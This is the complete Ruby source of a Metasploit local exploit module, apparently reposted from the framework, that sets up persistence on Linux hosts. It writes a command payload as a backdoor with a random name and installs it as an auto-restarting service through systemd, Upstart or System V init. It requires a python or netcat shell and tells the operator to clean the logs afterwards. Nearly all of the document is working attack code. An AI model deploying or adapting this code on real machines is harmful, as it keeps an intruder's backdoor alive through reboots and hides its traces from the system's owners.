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Metasploit Service Persistence Module

Posted on 18 August 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service Persistence',
'Description' => %q(
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
System V:
CentOS <= 5
Debian <= 6
Kali 2.0
Ubuntu <= 9.04
Upstart:
CentOS 6
Fedora >= 9, < 15
Ubuntu >= 9.10, <= 14.10
systemd:
CentOS 7
Debian >= 7, <=8
Fedora >= 15
Ubuntu >= 15.04
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['Auto', {}],
['System V', { :runlevel => '2 3 4 5' }],
['Upstart', { :runlevel => '2345' }],
['systemd', {}]
],
'DefaultTarget' => 0,
'Arch' => ARCH_CMD,
'References' =>
[
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down
}
},
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'DisclosureDate' => 'Jan 1 1983', # system v release date
)
)

register_options(
[
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']),
OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),
OptString.new('SERVICE', [false, 'Name of service to create'])
], self.class
)
end

def exploit
backdoor = write_shell(datastore['SHELLPATH'])
path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]
case target.name
when 'System V'
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
when 'Upstart'
upstart(path, file, target.opts[:runlevel])
when 'systemd'
systemd(path, file)
else
if service_system_exists?('systemctl')
print_status('Utilizing systemd')
systemd(path, file)
end
if service_system_exists?('initctl')
print_status('Utilizing Upstart')
upstart(path, file, '2345')
end
has_updatercd = service_system_exists?('update-rc.d')
if has_updatercd || service_system_exists?('chkconfig') # centos 5
print_status('Utilizing System_V')
system_v(path, file, '2 3 4 5', has_updatercd)
else
print_error('Unable to detect service system')
register_file_for_cleanup(backdoor)
end
end
end

def service_system_exists?(command)
service_cmd = cmd_exec("which #{command}")
!(service_cmd.empty? || service_cmd.include?('no'))
end

def write_shell(path)
file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
write_file(backdoor, payload.encoded)
cmd_exec("chmod 711 #{backdoor}")
backdoor
end

def systemd(backdoor_path, backdoor_file)
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
script = %{[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=multi-user.target}

service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
write_file("/lib/systemd/system/#{service_filename}.service", script)
vprint_status('Enabling service')
cmd_exec("systemctl enable #{service_filename}.service")
vprint_status('Starting service')
cmd_exec("systemctl start #{service_filename}.service")
end

def upstart(backdoor_path, backdoor_file, runlevel)
# http://blog.terminal.com/getting-started-with-upstart/
script = %{description "Start daemon at boot time"
start on filesystem or runlevel [#{runlevel}]
stop on shutdown
script
cd #{backdoor_path}
echo $$ > /var/run/#{backdoor_file}.pid
exec #{backdoor_file}
end script
post-stop exec sleep 10
respawn
respawn limit unlimited}

service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
write_file("/etc/init/#{service_filename}.conf", script)
vprint_status('Starting service')
cmd_exec("initctl start #{service_filename}")
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
end

def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
if has_updatercd
print_status('Utilizing update-rc.d')
else
print_status('Utilizing chkconfig')
end
script = %{#!/bin/sh
### BEGIN INIT INFO
# Provides: service
# Required-Start: $network
# Required-Stop: $network
# Default-Start: #{runlevel}
# Default-Stop: 0 1 6
# Short-Description: Start daemon at boot time
# Description: Enable service provided by daemon.
### END INIT INFO
dir="#{backdoor_path}"
cmd="#{backdoor_file}"
name=`basename $0`
pid_file="/var/run/$name.pid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid() {
cat "$pid_file"
}
is_running() {
[ -f "$pid_file" ] && ps `get_pid` > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
cd "$dir"}

if has_updatercd
script << " sudo $cmd >> "$stdout_log" 2>> "$stderr_log" &
"
else # CentOS didn't like sudo or su...
script << " $cmd >> "$stdout_log" 2>> "$stderr_log" &
"
end
script << %{ echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see $stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping $name.."
kill `get_pid`
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; may still be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file" ]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will not attempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0 {start|stop|restart|status}"
exit 1
;;
esac
exit 0}

service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /etc/init.d/#{service_filename}")
write_file("/etc/init.d/#{service_filename}", script)
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
vprint_status('Enabling & starting our service')
if has_updatercd
cmd_exec("update-rc.d #{service_filename} defaults")
cmd_exec("update-rc.d #{service_filename} enable")
cmd_exec("service #{service_filename} start")
else # CentOS
cmd_exec("chkconfig --add #{service_filename}")
cmd_exec("chkconfig #{service_filename} on")
cmd_exec("/etc/init.d/#{service_filename} start")
end
end
end

 

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